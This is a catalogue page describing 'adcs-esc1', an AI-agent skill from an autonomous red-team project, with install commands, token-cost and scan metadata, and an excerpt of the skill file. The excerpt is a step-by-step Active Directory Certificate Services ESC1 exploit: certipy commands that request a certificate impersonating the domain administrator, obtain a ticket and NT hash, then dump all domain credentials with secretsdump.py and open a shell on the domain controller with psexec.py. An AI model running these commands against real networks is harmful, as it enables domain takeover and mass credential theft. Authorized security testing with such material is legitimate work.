adcs-esc1

adcs-esc1 is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 30 tokens per session (1,306 once invoked), scanned A, original, Apache-2.0.

A guide to finding and exploiting a specific Active Directory Certificate Services misconfiguration called ESC1. Active Directory is Microsoft's system for managing users and computers in a Windows domain.

In plain words
What is it for?
It is for auditing certificate templates, identifying ESC1 conditions, and using certificate-enrollment tools to assess whether a domain is exposed.
Why use it?
It describes how a wrongly configured certificate template can let an enrolled user request a certificate for another identity and impersonate that user.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for auditing certificate templates, identifying ESC1 conditions, and using certificate-enrollment tools to assess whether a domain is exposed.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/adcs-esc1
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,471 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill adcs-esc1
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for adcs-esc1

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/adcs-esc1/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/adcs-esc1)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/adcs-esc1"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/adcs-esc1/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for adcs-esc1

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/adcs-esc1"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/adcs-esc1.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 30 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,306 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector pass 7 Sept 2026
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00030 $0.01306
Opus 5 $0.00015 $0.00653
Sonnet 5 $0.00006 $0.00261
Haiku 4.5 $0.00003 $0.00131

Measured 10d ago against content hash 1ac6363ad9ca, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

adcs-esc1 scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

  • adcs-esc1 — 94% identical, 5 lines differ
packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md · 132 lines

How it starts

The opening of the file, as written. The whole thing — 132 lines — stays where its author put it; the contents beside it link to each section on GitHub.

ADCS ESC1 Exploitation

ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.

1. Enumerate templates

# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
  -output /tmp/adcs -text -stdout > /tmp/adcs.txt

# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
  -output /tmp/adcs.json

Decepticon ingest:

adcs_audit("/tmp/adcs.json")

2. Identify ESC1 candidates

A template is ESC1-vulnerable when ALL true:

  • Enrollment Rights includes a group the attacker is in (Domain Users / Authenticated Users is jackpot)
  • Client Authentication EKU or Smart Card Logon EKU or Any Purpose
  • Enrollee Supplies Subject flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  • Manager Approval disabled
  • Authorized Signatures Required is 0

certipy output marks these clearly:

[!] Vulnerabilities
        ESC1                                : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

3. Request the cert as Domain Admin

certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
  -target CA_FQDN -template VULNERABLE_TEMPLATE \
  -upn 'administrator@dom' \
  -dc-ip DC_IP \
  -out /tmp/admin.pfx

The magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT is set, the CA issues a cert with that UPN even though we're a regular user requesting it.

4. Authenticate as Domain Admin

PKINIT (cert → TGT):

certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed

You get back:

  • A TGT in administrator.ccache (use w/ export KRB5CCNAME=...)
  • The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)

5. Operate as Domain Admin

With NT hash:

# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc

# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'

# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'

Read the full file on GitHub · 132 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 10d ago First seen · 132 lines · 30 tokens per session scan A 1ac6363ad9ca

Subscribe to this mod's changes

adcs-esc1 is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,471 stars, last pushed 10d ago), licensed Apache-2.0. It adds 30 tokens to every session and 1,306 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.